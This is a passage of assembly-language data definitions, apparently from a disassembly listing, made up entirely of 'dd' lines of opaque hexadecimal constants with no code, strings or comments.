		dd 0E0049104h, 3F82A10Bh, 0A3036D00h, 4D978A1Ah, 93156020h
		dd 5C0BAF85h, 80DFEC76h, 95AAE590h, 0F8E9BF32h,	28C449Eh
		dd 0DF929994h, 0FE3087DDh, 0FD6500E8h, 664A9501h, 9491344Bh
		dd 7ED21E97h, 4848DC54h, 2A10396h, 0C286CFFBh, 1A6CC065h
		dd 405D820Dh, 0D6E2330Ch, 0B89CED60h, 1DD005Fh,	40638D1Fh
		dd 15F26CE1h, 7290E44h,	433611BBh, 0F2C830C0h, 79958660h
		dd 1822F9CCh, 0B401002Bh, 1BF0BA5Ah, 914F702Ch,	0E73A70A1h
		dd 0D49A4B70h, 0C6350680h, 0FE09ACB0h, 58EDA26Ch, 0B8930F5Ch
		dd 9149DDC2h, 5B4B485Eh, 80EB70F8h, 0F835201Eh,	3CEAD6C7h
		dd 849A048Bh, 105CCAEBh, 0E06F1B8Ch, 0A608973Ch, 6A48E1E4h
		dd 9084BC30h, 0B0DB9F9Ch, 29204071h, 1351014Dh,	0D8210372h
		dd 0C5E871AAh, 0B936013Ch, 5E8CD0DEh, 4A24A33Dh, 13E0D0B6h
		dd 0DDB8CDF7h, 7EEC8D03h, 890FA99Fh, 0F23A06D3h, 85CCC074h
		dd 1850E623h, 88C10AA9h, 18BF6A13h, 97CC8EACh, 7D0188B8h
		dd 0FC926A25h, 447B2F84h, 0C7183059h, 12EB660Eh, 8A003249h
		dd 5294D3CCh, 94325172h, 9A4E62Ah, 0D8B1AA6Fh, 840997A0h
		dd 467EACFCh, 1365822h,	34F37145h, 0E92089CBh, 7461B57Bh
		dd 0F067D076h, 5A9FF748h, 0E84B94E2h, 2C5D203Ch, 2410048Ah
		dd 4E3A105Ch, 940010B2h, 9A7E80D3h, 2801442Ah, 58DA8AECh
		dd 0CD301FBAh, 0A29C18Ch, 3FCAF0C9h, 4A07B0F4h,	5AB0F69Ah
		dd 0DA259CE6h, 8A20FC44h, 40B49E33h, 5A084FECh,	1F0B027Ah
		dd 5E2B9917h, 6CD12DACh, 5F4D0C00h, 78E0D274h, 0F9B31C19h
		dd 0F8C8418Dh, 0D0342965h, 974B078Eh, 20B260C8h, 0C9B5F055h
		dd 89A6E7C4h, 0E8720934h, 5448157h, 69A61993h, 0F6B7009Ch
		dd 0AC390FDAh, 13FD8300h, 3605CBAFh, 30DED4A9h,	0FDE9F728h
		dd 7DECF32Ah, 0B79E8918h, 0FB5A9720h, 48FC026Fh, 307A12A9h
		dd 8D3C2700h, 74AF62DCh, 48899769h, 2E91C856h, 4476D040h
		dd 83887A6Bh, 0B26C0DC4h, 2AD828F5h, 9D00F4F2h,	76434468h
		dd 7F1241B8h, 88042BA3h, 6309DD42h, 5144CC5Ch, 14B7D840h
		dd 800A821Fh, 2CDA64DFh, 0E782D41Ch, 0A42531C2h, 0D86092F0h
		dd 719F6F3Ah, 0E983234h, 0B5620C5Eh, 529503EAh,	445CA1D4h
		dd 846EFE78h, 1D267200h, 83C6211Fh, 16823419h, 9CC08721h
		dd 48374CD8h, 48F55D10h, 0C6FE0BA8h, 0FBD4ABEBh, 9BE57014h
		dd 0D3093816h, 2E76E404h, 35C91E42h, 0E4D6785Eh, 61D70027h
		dd 0ECDBE5CCh, 0FE13D0E1h, 6BAEA301h, 8C24074Ch, 0D3514E5Ch
		dd 0C0483C4Ch, 6524A0C7h, 0D4467DA1h, 451088B8h, 0D8CF4AFFh
		dd 89DAF00h, 0FD977876h, 0B08A0186h, 6691B6C8h,	0D8F72EE2h
		dd 137F9D05h, 64400961h, 6A623082h, 91447E2Fh, 8EEB369Eh
		dd 282ED3D4h, 9D003623h, 1B08B31Fh, 4C5E3927h, 407ADC50h
		dd 37600C49h, 2F46C51h,	702AF646h, 8DBD003Fh, 0A1DF249Ah
		dd 785CC6C2h, 591D049Ch, 28AE46DAh, 49EB328h, 92B467Ch
		dd 8F46CB07h, 3BD525D4h, 2081DC34h, 0E72AEE6Eh,	0AC2F4B68h
		dd 0C1042A23h, 60C107D2h, 9B7B2C04h, 1F44849Ch,	404420BFh
		dd 3401500Eh, 0F10F8B19h, 5A8037A1h, 0DD15EFE5h, 82B7DCCFh
		dd 0D79F7280h, 0F0CC039h, 0AFC0DDC8h, 7946C8Ah,	71F47ED1h
		dd 52B3F238h, 1551F85Ch, 0C0489E3Fh, 0C2C9BECFh, 908E0206h
		dd 2A5AA10Bh, 665824FCh, 0AC0E4A9Ch, 8C2BECC4h,	626FE004h
		dd 0D2EA2A95h, 7C4D9D3Ch, 0D115FCE0h, 0EFFF0077h, 8206D2E7h
		dd 0BE0B79E2h, 5C537AF7h, 0B5574BDCh, 8F003884h, 0E85F7E5Ch
		dd 7AE5914Eh, 1CAE1412h, 0E0D5021Ch, 8BDF36B9h,	70C8F370h
		dd 6F1F0BB2h, 6125A26Dh, 302F7758h, 0BC8D9B1Ch,	0C6DF1425h
		dd 0B4E127F0h, 0FF65AC5Eh, 84073CACh, 0EB9593CCh, 9F351C40h
		dd 0AD3487B5h, 8B108B82h, 0DCE0DED8h, 6B4D321Ch, 20DE1E4Eh
		dd 2B0D53ACh, 0A83369D2h, 0FC53451h, 4905DCA9h,	0ABD2DFh
		dd 9834AE97h, 800061B4h, 0ADFE0B50h, 13494D67h,	0B8AA6D46h
		dd 2E7E803Ch, 289730Ch,	57CCC6A5h, 7260F139h, 0D498AF11h
		dd 94906401h, 3D5A01BEh, 40A0B33Ah, 2894F18Ch, 0A9FCC480h
		dd 9F7285C5h, 3234C1h, 0B5C3736Eh, 342E0C64h, 3A40BCB9h
		dd 270D9E84h, 6404EAA1h, 7C34AE87h, 82B860E9h, 0E192B225h
		dd 856B6D14h, 853AB2Ch,	4646EAAh, 29D7187Fh, 0B94081AEh
		dd 0F42202F6h, 0BB9250h, 1B09236h, 421E34E8h, 6580FC4Eh
		dd 8DA02599h, 40E49E5Fh, 1FC09DD5h, 14ACDD00h, 2101EFC1h
		dd 642B127Dh, 0AB70B887h, 0A4E84900h, 0B7B6E303h, 10041E4Ch
		dd 0C80A3FEAh
		dd 27B0B991h, 30C018D4h, 80D93689h, 8B976CDEh, 64FCC740h
		dd 0B39A603Ch, 9C7B9526h, 166A1BD0h, 18A14A01h,	0CAA98A34h
		dd 0B220629Dh, 1A1CC0E0h, 0C75582E1h, 6136C49Ch, 15D59201h
		dd 2497030h, 0A6854A4Eh, 2CE83862h, 0EC25939Bh,	25105602h
		dd 0EDCB454h, 71D150C0h, 9AD767A9h, 0ACD180h, 0EF5A594Ch
		dd 0C70095ACh, 0DFE74D55h, 4A3DCBA0h, 0C34C4E22h, 8382248Eh
		dd 33E11BBBh, 302394h, 0E8E3ACD3h, 1EB345Eh, 0F5810FFh
		dd 25971887h, 40206A18h, 0D47016h, 0E756D142h, 3529B9CBh
		dd 284C301h, 38CD10F0h,	6DF89831h, 5C31EC78h, 0B71F5455h
		dd 9C644BCCh, 9741605Eh, 141765BDh, 9A3B3921h, 0A0968FF8h
		dd 180D7068h, 1591285Fh, 29E0074h, 0BCA65440h, 7802CFF0h
		dd 9F5D6171h, 7335E010h, 0C58700AAh, 27645312h,	52049592h
		dd 943DA6CFh, 8DABA8C1h, 0CF2CDA3Eh, 74FA7229h,	2E708930h
		dd 7CE0ACF6h, 9C9864B4h, 0CC0B564Bh, 70545B9Eh,	0B5302CECh
		dd 5E98B1EFh, 20B10540h, 0AFE6C606h, 0B044A42Dh, 36A9E480h
		dd 58C795E0h, 6F51C718h, 26C134A2h, 1F78C040h, 49C21816h
		dd 7D86AE85h, 7EC8E469h, 4D962431h, 0EBFCAC04h,	9445358Bh
		dd 0E86025C4h, 9F023BC2h, 0AA6E9712h, 3B3CD691h, 69784381h
		dd 6FBB8B7Ch, 0E7BAE0DCh, 8F7F6982h, 5E6420h, 82E5F950h
		dd 3966E440h, 0A59865B5h, 2D4D074h, 42AAA20h, 8B7F02B0h
		dd 6BF45690h, 2CE4F065h, 6211B360h, 5C1F585Ah, 0A3ED9C2h
		dd 3C1D5F1Dh, 0A7802711h, 0F2DA3F3h, 0F2BBB004h, 0E8F8465Bh
		dd 0A87AAB05h, 0ACDAAA8Dh, 2CE3A0C0h, 175CC84Fh, 82E715E1h
		dd 330F84A8h, 9A3CCCBBh, 9390D752h, 32960804h, 0BCD47CB8h
		dd 22A9C3C0h, 0F50E121Dh, 646EB4BBh, 3BFA1BCEh,	0C3123B8h
		dd 1014F4B9h, 0B4BCBC4Ah, 1DF7BEC0h, 0AE4A9B3Eh, 0C52A98F1h
		dd 86EBEC8h, 0B29DFE00h, 89239660h, 0C0D5D225h,	2DC26F8Ch
		dd 9048F859h, 55825B8Eh, 96F888C6h, 403165Bh, 5A92BB6Fh
		dd 0B8F8BDF1h, 955112ACh, 26DF094Ah, 66134822h,	751CB27Dh
		dd 0AC68A04Dh, 73C7E9EFh, 18255934h, 0A9A3019Fh, 0B1B6EA3Fh
		dd 8C68C6h, 0DB6A30A8h,	126DCE98h, 0B249E583h, 3027F21Ch
		dd 25F8E8B3h, 0CE8A2107h, 0AB392BF2h, 0D6445604h, 7E2546h
		dd 1BFF14Dh, 0AA6097D0h, 784B91FCh, 0E22A388Dh,	832F8804h
		dd 49C49734h, 6D6BF2E8h, 6ABCE713h, 0D6891402h,	0B0395DC7h
		dd 0FD94929Bh, 0C1BC34AEh, 58027A7Ch, 8069D68h,	0BC9615D7h
		dd 0ED462030h, 0FCADB54Ah, 434B6600h, 7E2E70F1h, 0FC041902h
		dd 60E132BFh, 81D70EB4h, 59B9E01Ch, 11A41F9Fh, 4E9B8231h
		dd 0C8D9C5h, 16E057CAh,	6A81AF46h, 0B9C0172Bh, 95AB830h
		dd 5632669Ah, 19C36C03h, 0D4C8E04Eh, 0C0E43CBEh, 604D8900h
		dd 103AF67Ch, 0C15C02B7h, 0AE730526h, 4282803Ch, 35D611D1h
		dd 7FC66F10h, 3ADABE12h, 0AD6056AEh, 133B820h, 0BCA4A902h
		dd 85C5B513h, 9A6CCF81h, 0AD7898ADh, 97254204h,	0B707A478h
		dd 0DF76DD1Ch, 0E24E08A0h, 190D0042h, 30234A8Fh, 0D7E67191h
		dd 179C5F00h, 0FA8279F2h, 0AEEE00C2h, 0B4C898E3h, 2473B8C9h
		dd 780F8700h, 6922394Dh, 6C2809CCh, 2A80EB97h, 1611C67Dh
		dd 92005EE4h, 8129CF34h, 0D4034Ah, 5CBDB5A2h, 0A1251D91h
		dd 5F0EEC78h, 80AFD046h, 0F8D9D538h, 6F6B1E8Ch,	5BD1002Bh
		dd 54E919A6h, 0F5589103h, 0C888EB9Ch, 94CA0Ah, 18CB3384h
		dd 3CC83169h, 7AE88600h, 0FFDF16DEh, 0D2A41EC0h, 779400F0h
		dd 2BDC08C7h, 0D3130607h, 0BFE0BAB6h, 3F4148Ch,	55949F9Dh
		dd 0EB90A003h, 7900E842h, 4086E00Dh, 0BC0BE6h, 0BFDFE541h
		dd 6660F7D1h, 3A0AF200h, 23C00F24h, 0FE7100AFh,	86CFFEFh
		dd 0DC00D3CFh, 0CBC4E585h, 1CC50794h, 0C0E73AE6h, 0F8C21ECAh
		dd 87006384h, 8DD1230Bh, 1FD4E535h, 4096B116h, 73882721h
		dd 18BC7CB0h, 87F29780h, 9FE3A6h, 0C2FBD7B3h, 0B2CB7BA8h
		dd 0FD769300h, 8F2F67CAh, 0AF411489h, 340080B9h, 7A0D1EF1h
		dd 7D98732Ch, 0A91F2905h, 34F97B81h, 0AC9CE000h, 4F85D90Bh
		dd 6AF85D0Ch, 13B8B8h, 56B658A3h, 518C3A33h, 0D30E4B00h
		dd 0F24E9C11h, 71E93BEDh, 0D0D707F9h, 5305F6ACh, 19D09578h
		dd 0DC90767Ah, 0C3A6F203h, 0E03782FAh, 0DD72FFh, 8B4A87F3h
		dd 354B1A13h, 0F4671500h, 93E99060h, 0C50305A9h, 1D78727Eh
		dd 8A4C40E0h, 0D8DF3855h, 3BB73F00h, 679B7BC7h,	518D0323h
		dd 181E90C1h, 0DEEF42B8h, 0EB90897Fh, 0DB00618h, 886EB3F0h
		dd 0A2009C18h, 4787DB09h, 14F3BF6Ch, 9455ECADh,	5C036D00h
		dd 2CBDC8Fh, 2580C700h,	85ED74F6h, 6CDA00AFh, 0BCBFA207h
		dd 77187A9Bh, 41984E0h,	5A5201A1h, 339CBA15h, 0E49BE0D5h
		dd 8EBF9E00h, 0EDD1F712h, 0FEC0255h, 115AA621h,	0C214205Fh
		dd 0F38C38h, 0D547D7CDh, 0F52784FFh, 0F9A69F01h, 0EF02A1EBh
		dd 0BB6A6980h, 3AAB33B5h, 21F87D00h, 0CE97DF88h, 0AD8924B1h
		dd 6C1C0050h, 86FE5824h, 2A38491Ch, 0EC26CCCAh,	1E79A787h
		dd 0FCFF6230h, 0C009117h, 0B541EEDBh, 250C93Ah,	0BA4BAFB9h
		dd 68CB7565h, 0FF9F2580h, 0D1E13900h, 5DCDB2A6h, 0B74E06AFh
		dd 0C564C26h, 0D438FC00h, 88E4FF0Eh, 75F40F54h,	3D802957h
		dd 0F7677610h, 71D53Bh,	4245AC5Fh, 0E648D0Fh, 52D3A29Dh
		dd 0DB8AB600h, 6B3981E8h, 0FD3CC1h, 6D852C6Eh, 692E37h
		dd 83073AEFh, 0B97EEEA3h, 7019ED00h, 0A925DA40h, 10EA607Bh
		dd 0CC3A8077h, 0CF2ED701h, 52F8A1E3h, 2FC4CCh, 8A18C55Ch
		dd 34EBAAABh, 6D62B800h, 0CC98B3C1h, 8F3800D6h,	0B23AB665h
		dd 50C97172h, 937098F4h, 0E8240392h, 0A1B09BEAh, 0B8075683h
		dd 31C3068Dh, 11057A6h,	522163Dh, 0DCEEA4A1h, 6600F7F0h
		dd 45234E53h, 5983C84Fh, 0FD013C91h, 7F069E64h,	0D5F85054h
		dd 4A0082E2h, 0D5E1B47h, 7FB16E3h, 0B8207094h, 5C003978h
		dd 0D4499C1Eh, 3F95EE00h, 0A4D6C990h, 0A3D80536h, 76CD7Eh
		dd 0AB8E68BCh, 0C7070F30h, 0C80C572Ch, 0BA6E6C90h, 7C7A0098h
		dd 5E5C9FF8h, 8813085Bh, 8003BD2h, 0A9391A53h, 54D0C0AAh
		dd 0CEE31B63h, 46D20F00h, 4094DCB3h, 50FC00D7h,	1C6C6480h
		dd 650178F4h, 96489F4Ch, 3EE8DEBEh, 0F61B00D9h,	4B7669Dh
		dd 0EE001A60h, 91E7B5B4h, 28CA14A7h, 4088D6C1h,	0BDF21A8Dh
		dd 1223A138h, 5000BA70h, 30C27BE0h, 196890B1h, 200B3C14h
		dd 0A81DE4A9h, 0C6EAD900h, 7D36B4B0h, 0DCE83D1Ah, 0C298A500h
		dd 43E0F416h, 37A2DB3Fh, 6AAC11DDh, 1712007Ch, 0B1348752h
		dd 0CAE00EA7h, 48F140Fh, 0FE6A4016h, 0F1F382h, 0D9C9F642h
		dd 0DDAD253h, 5BBFA0Eh,	0A50860E8h, 16941004h, 183C2h
		dd 0AEBC0A54h, 0CCB2A190h, 3A8AEA00h, 9F4E1DDDh, 45E1008Dh
		dd 0AE05D446h, 0F0EB639h, 609C6F50h, 1F945571h,	0F634016Ch
		dd 0D1FA8A41h, 0C88020ADh, 0E725C00h, 8C96677h,	7E734Ch
		dd 0D5B6631Ah, 1F9B78B3h, 95FC2F00h, 398E3B43h,	107000DBh
		dd 0A6AFA5F2h, 3700E4EFh, 47BC159Dh, 813EBFh, 0B0EDE190h
		dd 192EA0EEh, 42A1200Eh, 651A0044h, 0F72FA6h, 21DE88C7h
		dd 4F7793E0h, 0F5E91100h, 0A496BB03h, 0F06A0033h, 0DB48659Ch
		dd 560052A8h, 23508FF2h, 0EBCBCAh, 0FF010D7Ah, 3CA83FBFh
		dd 5A914600h, 2E168C55h, 4F491D6Ch, 0C19F0B8h, 0AFFC4A99h
		dd 27ADBD00h, 0B93F7C04h
		dd 2276001Eh, 0B51C8836h, 100B638h, 417F2166h, 0C1939h
		dd 254B8C6Ah, 3CD4ACB0h, 0EC0B20B0h, 0E4EDA0h, 2A86C2DBh
		dd 0AE9B01FFh, 9734DBF5h, 7D73F441h, 0E77D837Dh, 0F675A700h
		dd 92D3441Eh, 5F9F2CC8h, 7D714050h, 0C6001305h,	0EA17C18Dh
		dd 0F5FDE1h, 126759A1h,	0B93AA6FAh, 0DFDACF26h,	0C199E401h
		dd 0F86D0121h, 0D0AE5000h, 0DE0A1176h, 0F41E1200h, 83FD08F3h
		dd 0A6EB0093h, 0E49793Bh, 6F0FAF47h, 0A0CFF910h, 0B6D81D74h
		dd 0B07A5Dh, 29E6E0DFh,	619FCA18h, 0A22F2C02h, 0E0324D82h
		dd 1F6F6CA1h, 49B69623h, 807E199Dh, 1624B080h, 3A6E4959h
		dd 0A296BB97h, 957CA0FFh, 3410C362h, 80B32777h,	72A6327Fh
		dd 91182000h, 0B2A2946Bh, 1D4200A8h, 0E8DF63E9h, 4501F466h
		dd 8D806437h, 302012B0h, 26E05CEh, 0A0DE3276h, 597A6FE0h
		dd 3DB9F3Ah, 0E28C630Eh, 0B6980E61h, 7CC0F666h,	59ABC302h
		dd 1B9D7714h, 20C8305Ch, 4E2AB694h, 65F8B419h, 9B0EFD18h
		dd 7EB57650h, 0C0D20008h, 797CB936h, 1D00975Ch,	0F1B46C73h
		dd 3E8A9E22h, 2500AE92h, 41B1F0Ch, 9800872Dh, 0F9314415h
		dd 997A6Dh, 0EAAD27FAh,	0BD05407Fh, 54ACAF00h, 3D802EDh
		dd 0F5091CE4h, 0C232C746h, 0DBA720A5h, 717DD50h, 60A8781Bh
		dd 0D0F216C9h, 0D001E800h, 921DA502h, 6AAA3AADh, 13756F03h
		dd 8888C6B7h, 70004064h, 0AD9D8462h, 9CB3C38h, 6D873ABDh
		dd 850BAC52h, 5A2BFE96h, 0BE83136Ch, 0ED30C3A2h, 7D2D05A9h
		dd 440F3B44h, 0F3F600D6h, 229B3721h, 0C6008510h, 0E76438ECh
		dd 14B232E9h, 8C52C381h, 0FA31007Bh, 3A279F7Bh,	2907DC8Dh
		dd 0EF41C237h, 4B209933h, 463CB060h, 0DCB08D4Fh, 0FF8B0107h
		dd 2A977F9Dh, 18006B1Ah, 0EAE8567h, 87A0CF2Fh, 249D0AC0h
		dd 0C25C7FEh, 0F4A87479h, 0D9CE051Eh, 0B0466182h, 0DF44623Ch
		dd 0F6983Ah, 8D700D4h, 79DD8546h, 0B239775Ah, 0EDA2237h
		dd 91D8E802h, 9989B687h, 672D1078h, 40D47E63h, 95CFC193h
		dd 32973E09h, 8022F712h, 6D7D35FCh, 5C2260F0h, 0AC3BA5C7h
		dd 853A84B7h, 80E882BEh, 0DF0CF2Fh, 10FCF0D2h, 132433A2h
		dd 56F488FEh, 0CA40EEF8h, 0F2E25B34h, 6AB70E88h, 0C303031Eh
		dd 2B26F8CDh, 832C0134h, 54C47877h, 9E64BB74h, 0F10B866Ah
		dd 3907E02h, 5D233FFh, 74E1E95Bh, 6C7A6Fh, 3626711Bh, 5B53F74Bh
		dd 81F487BAh, 6FCC9289h, 3CBF60D4h, 0B784A300h,	0DD917495h
		dd 0F517680h, 8E136573h, 2CE85244h, 0C59A9480h,	9D126C35h
		dd 24E2677Dh, 77C90E00h, 0E1FC0299h, 9349741Eh,	0A7A0C340h
		dd 7F3CEF7Ch, 0B0A948ABh, 2C6E520Bh, 1DED05Eh, 7AB73A62h
		dd 6A57A00Bh, 89DFD4A0h, 65E92A84h, 85225000h, 0D57F929Fh
		dd 1F828900h, 0FD59EBF8h, 0F28B0B66h, 37F79061h, 0BEF200FBh
		dd 8D890BA3h, 72FC215Eh, 97EBF95Eh, 5DDC22EAh, 0CA197EC0h
		dd 0E2AA8300h, 0B788271Dh, 0A1130754h, 0C2617D49h, 0F8559D09h
		dd 0A95B5FE9h, 0DE8B840Ah, 4E35E6EAh, 2613FABh,	0D92EB351h
		dd 0F75157D4h, 8BFF6A00h, 0DD0255BDh, 3DB5C65Ch, 891C0C1Ch
		dd 19334D9Dh, 42AC295h,	30B0BFE9h, 0DBB7180Fh, 859DA4B0h
		dd 0CC20086Ch, 0E62B4075h, 61F9705Fh, 71E4D980h, 7D37BD89h
		dd 91626923h, 62F15F26h, 0B231E41Bh, 0DB74888Bh, 0B6C4FE1Fh
		dd 0E2BBF5C8h, 1A475018h, 0C18340DDh, 0A1DFBF0Fh, 0B07F04E8h
		dd 73615603h, 0BDCCF30Ah, 2E2F7E8h, 53C82BF8h, 25878D0Fh
		dd 110E6D29h, 41D18BC3h, 9204158Eh, 0D8EA17F9h,	0BE00A9E3h
		dd 6343D128h, 338AF21h,	739193CEh, 0A1A8DE71h, 851B8BC9h
		dd 20A116B5h, 0F3A0550h, 816ED088h, 0AEB7EB03h,	3607C083h
		dd 0E10CFBC4h, 281EA520h, 5390D03Bh, 0D8278A0Eh, 8932207Dh
		dd 951005B5h, 78CC7CFCh, 0FE204A11h, 31840221h,	0DA59517h
		dd 0C570FE15h, 95890109h, 46605E42h, 0BF6E00AFh, 439751B6h
		dd 0A3012609h, 0BE740B3h, 59205787h, 0E961375Bh, 0B58D002Fh
		dd 176EFFF9h, 2631C454h, 12296688h, 0EF0BEDBDh,	0E92A1699h
		dd 115FACA7h, 4A17860Fh, 0AF7852ABh, 90F9BA83h,	32A66A27h
		dd 3DEC207Ch, 0B9FAF998h, 0DD084125h, 0C547BF18h, 0FF2C72FCh
		dd 0D61CB882h, 77AC2180h, 51FC6280h, 0FFD2AA8Fh, 0BBC5FBEDh
		dd 0FC4656C1h, 745B92Bh, 0CCAB84B4h, 0F3FE7D40h, 2B23142Ah
		dd 0DA3AF8C0h, 0FDFCD2AFh, 25BF6DCh, 67EB8EE8h,	72A0771Fh
		dd 0A94C80C1h, 45969F00h, 2C5EDEE2h, 6CCE1EBBh,	0ADCC0173h
		dd 80D1C233h, 0E983D074h, 95F47504h, 73D64F76h,	0FE5B5068h
		dd 4107419Dh, 109490Ch,	0A93B880Dh, 48E0E836h, 1A227105h
		dd 805DE848h, 0BFEC30C8h, 539800A4h, 0C74A4302h, 0EA48CC61h
		dd 3B1D2277h, 69998B5Fh, 0A98D9D2Bh, 5508AC62h,	9D310210h
		dd 50071C39h, 18F1C2D7h, 8BCC103h, 4A98AB74h, 0C16EBF19h
		dd 2A857F00h, 7A10B225h, 0BA9A832Bh, 4A3DC778h,	5D40EEE6h
		dd 9F664492h, 5FD53A4Dh, 790BBF8Eh, 0A5BD83A7h,	0B688FB0Fh
		dd 0F93EE1A5h, 2B0BC3Eh, 0BD01608Ch, 12C41CF1h,	9024ED20h
		dd 97B0077Dh, 9B849FBh,	40204F5Fh, 919A12F9h, 8E7C9400h
		dd 0BB669697h, 0ED064C2Ch, 484DFF13h, 0E28113E5h, 0E6A1A659h
		dd 0FD1220h, 0C4BA725Ch, 0B2C0D6F8h, 69E33D04h,	0A6AEE1FFh
		dd 4122B2AFh, 0F7A4152Ah, 2FC10837h, 3D21B220h,	4968901h
		dd 0E07AED7Fh, 0FA67209Fh, 0E45AFF02h, 77BF28ACh, 210AECDBh
		dd 70CE3E1Bh, 0D7A77321h, 5980AA1Fh, 0BE6ED6AEh, 7E1E5C07h
		dd 0BB8024CFh, 0DA72BC90h, 30A10800h, 515D8D8Fh, 5881010Ch
		dd 5660782Fh, 89BC2F59h, 895F6180h, 58E19585h, 0F0980358h
		dd 0BFA3E561h, 67CCA02Eh, 4C8BE260h, 0C81D91D6h, 0D98C0B61h
		dd 0FEB7FDh, 0B7583948h, 2F0A90A4h, 0A0988340h,	0E042908h
		dd 8B6E180h, 0AF800B88h, 0BE3BBBA7h, 0FAF4044Ah, 0BE030E4Eh
		dd 0B90099F2h, 2C93B8E9h, 0C9500A61h, 1402FBBh,	8D331660h
		dd 8182401Dh, 0A5F432E1h, 1F61632Eh, 0BF0E350Fh, 5F355F65h
		dd 984580BEh, 0F23A960Ah, 75ED4CE7h, 827A4A58h,	0F1951A4h
		dd 56A98F33h, 1923C03Eh, 7E0D0100h, 7153E4Dh, 8B906AB3h
		dd 0AA92DEF9h, 87C3D79Ah, 0AEB0CA13h, 7495F90Ah, 0F03CBA03h
		dd 7A39BA03h, 5E594DE2h, 136802FDh, 55564FD2h, 7F0051D2h
		dd 0DA42A367h, 4ABA2A78h, 1005FE4Ch, 152050D1h,	1F5B62D9h
		dd 0DFE5CA33h, 81C03522h, 4089D4Ch, 264C9481h, 0A7EAA240h
		dd 6FC9717h, 0A2D802DCh, 0CA611DCCh, 0C3886350h, 0D92E4E9h
		dd 0D66F5C9Fh, 0D28A3F1Dh, 83B89A8Bh, 4AE2855Dh, 0CF6BBFA9h
		dd 5F96290Fh, 0D283AE2h, 0EF5DAC0h, 5AC2C781h, 0C3D69734h
		dd 491600D6h, 2E90FD54h, 8B68C738h, 1ABB845Eh, 60BBE6B5h
		dd 0C20DCDB5h, 2818519h, 1D25535Ah, 52AF1207h, 435C9F2Bh
		dd 0B99300DCh, 0FB8A2E32h, 4AB8BF85h, 2B82BE0h,	2B77A6EDh
		dd 324B6509h, 0B18750CFh, 0F8A6E2h, 5D35E14Ch, 0A1044809h
		dd 44689F0h, 0A29CB4AAh, 0C4BDFB03h, 0FC502B75h, 0A6BE4A84h
		dd 0DBCBB017h, 0B627092Bh, 0D301B449h, 2D1F319Dh, 20152EBh
		dd 0E165FD68h, 8AE6BFh,	994E9F11h, 0ABAA42D3h, 0B28C7A1Eh
		dd 523632C4h, 0E69C7880h, 815B005Fh, 9E022404h,	8009403Dh
		dd 1A8DDCC7h, 95D25084h, 0F549347Eh, 508079C5h,	0C797BB52h
		dd 0AE4E4A20h, 696C2D14h, 0C54DD760h, 77C2A060h, 294C0C46h
		dd 60FD09B5h
		dd 0B2CB8A04h, 0E3996154h, 0ACECA92Bh, 0FCDDE6A9h, 0E3F309DBh
		dd 8A646C3Bh, 28155E1Dh, 6E8EF5C0h, 4489166h, 5ACBDED9h
		dd 0F3BE61h, 116DB508h,	1A85C70Bh, 24D35D6Eh, 0F3CDD0h
		dd 2CD4B823h, 89B70669h, 0A688F695h, 2CD321A2h,	0AB439238h
		dd 0F282DBDEh, 7B5F3DE9h, 8E45D01Ah, 0D1503E07h, 3041F31Bh
		dd 44C1110Ch, 3DC101CCh, 0E6710E8h, 0E24C0702h,	3C5A5803h
		dd 36EBE71Bh, 6408BC36h, 1B2CDC73h, 28295066h, 58188121h
		dd 5701139Ah, 0A1C01B12h, 31982BC0h, 6FFB344Ah,	673F2EB8h
		dd 4F158550h, 0EB6FAF04h, 0FB80A600h, 494FBBDBh, 0E69AF4A5h
		dd 625A4051h, 8207982Eh, 657111h, 9A542036h, 3C24E243h
		dd 8109AFF5h, 0A0447FACh, 0BC867E95h, 65B9EC80h, 744A3E28h
		dd 605CAB04h, 83C1F025h, 0B6205FDFh, 0D2034C39h, 211D1292h
		dd 8D3479D2h, 8ADEB50Dh, 0B858AD2Ah, 3D360BE0h,	980D06C7h
		dd 0AEB92B04h, 0B902A7ACh, 2587E1Eh, 90515D96h,	7D50DE8Ah
		dd 469A6980h, 6FF5C9h, 0ACEE16B4h, 5752D6FAh, 49209598h
		dd 8746CB95h, 0FA565E46h, 6BEB4ABDh, 78C0017h, 0E38ED0CCh
		dd 28864E0Fh, 4F00DF70h, 0CF6CAAADh, 5BAACAEh, 804892FEh
		dd 0B5BE04CDh, 0D15B0A24h, 1110810Bh, 0C859FB5Eh, 4E800D38h
		dd 7286488h, 0E6C55800h, 6F71B2ACh, 0F3660BF0h,	83026B92h
		dd 29000FF9h, 0A82C2D95h, 9BC486FCh, 30B8F133h,	0C41A996h
		dd 6ED7C92Ch, 80B64CEDh, 0CF3CFCA9h, 0CE9F507Eh, 0C28319F9h
		dd 31DA0C04h, 9829CAD6h, 0D7BFE8h, 231420F6h, 0F971D46Bh
		dd 0CA50893Ch, 5B6BEEh,	0ADD61F80h, 5C46B24Bh, 3020700Bh
		dd 0DFCF8102h, 0C0333E11h, 8BBC23AFh, 0FC8C3E8h, 2FB8ADA1h
		dd 12E8F7A9h, 46A7940Fh, 0E216077Ch, 0A1EC82ABh, 845F061Ah
		dd 0FDD2590Ch, 9BF6257h, 3BFB3668h, 0DE9D6314h,	0AC737EC7h
		dd 27235580h, 48A08B0Fh, 0B9E3BB50h, 216FD526h,	0FD33AD89h
		dd 61E1C2CDh, 6A9D96F9h, 60504243h, 9684F2B1h, 0EC834009h
		dd 0FC62BCA0h, 1AE116EBh, 0DFD7145Ah, 82138828h, 283D0BB8h
		dd 0B3C482F3h, 4E0910B0h, 59F34423h, 1189212Bh,	769F4D0Ch
		dd 2732C068h, 0F100A057h, 0DBBCC7DFh, 5C0B3DCAh, 0B3C02E45h
		dd 0BE7E8C66h, 13C69700h, 0AF07C51Bh, 5F92340Eh, 53E4BBDAh
		dd 0C930008Bh, 0F02D774Fh, 1905B894h, 5939C1F8h, 0B780BCC5h
		dd 255AD78Bh, 3A006158h, 17B59D29h, 996EA8D0h, 23291DCCh
		dd 2D59509h, 0E0BF6D7Fh, 71673DCEh, 52250A05h, 3630A776h
		dd 8410ADBDh, 0A20B7529h, 2202D11h, 0B8606844h,	79522F5h
		dd 0F64CBFFCh, 2D391047h, 0A1076127h, 0DB120F55h, 784BC0D4h
		dd 0F894DCD5h, 3AF70381h, 0C612C2B1h, 6BFB244Bh, 0E25F0014h
		dd 9589FC80h, 440C4A4Dh, 1C1E4906h, 0BA0F4A22h,	30BB9E40h
		dd 0E53814Ch, 0FFF31FE9h, 0AF02512Bh, 5BDA0771h, 8501C10Bh
		dd 753442B9h, 810089D9h, 0FAFED7F3h, 9B69012h, 65E42AE6h
		dd 5B75BB42h, 5D9C5879h, 0FE6D2A05h, 0DFC13263h, 4CABF8DCh
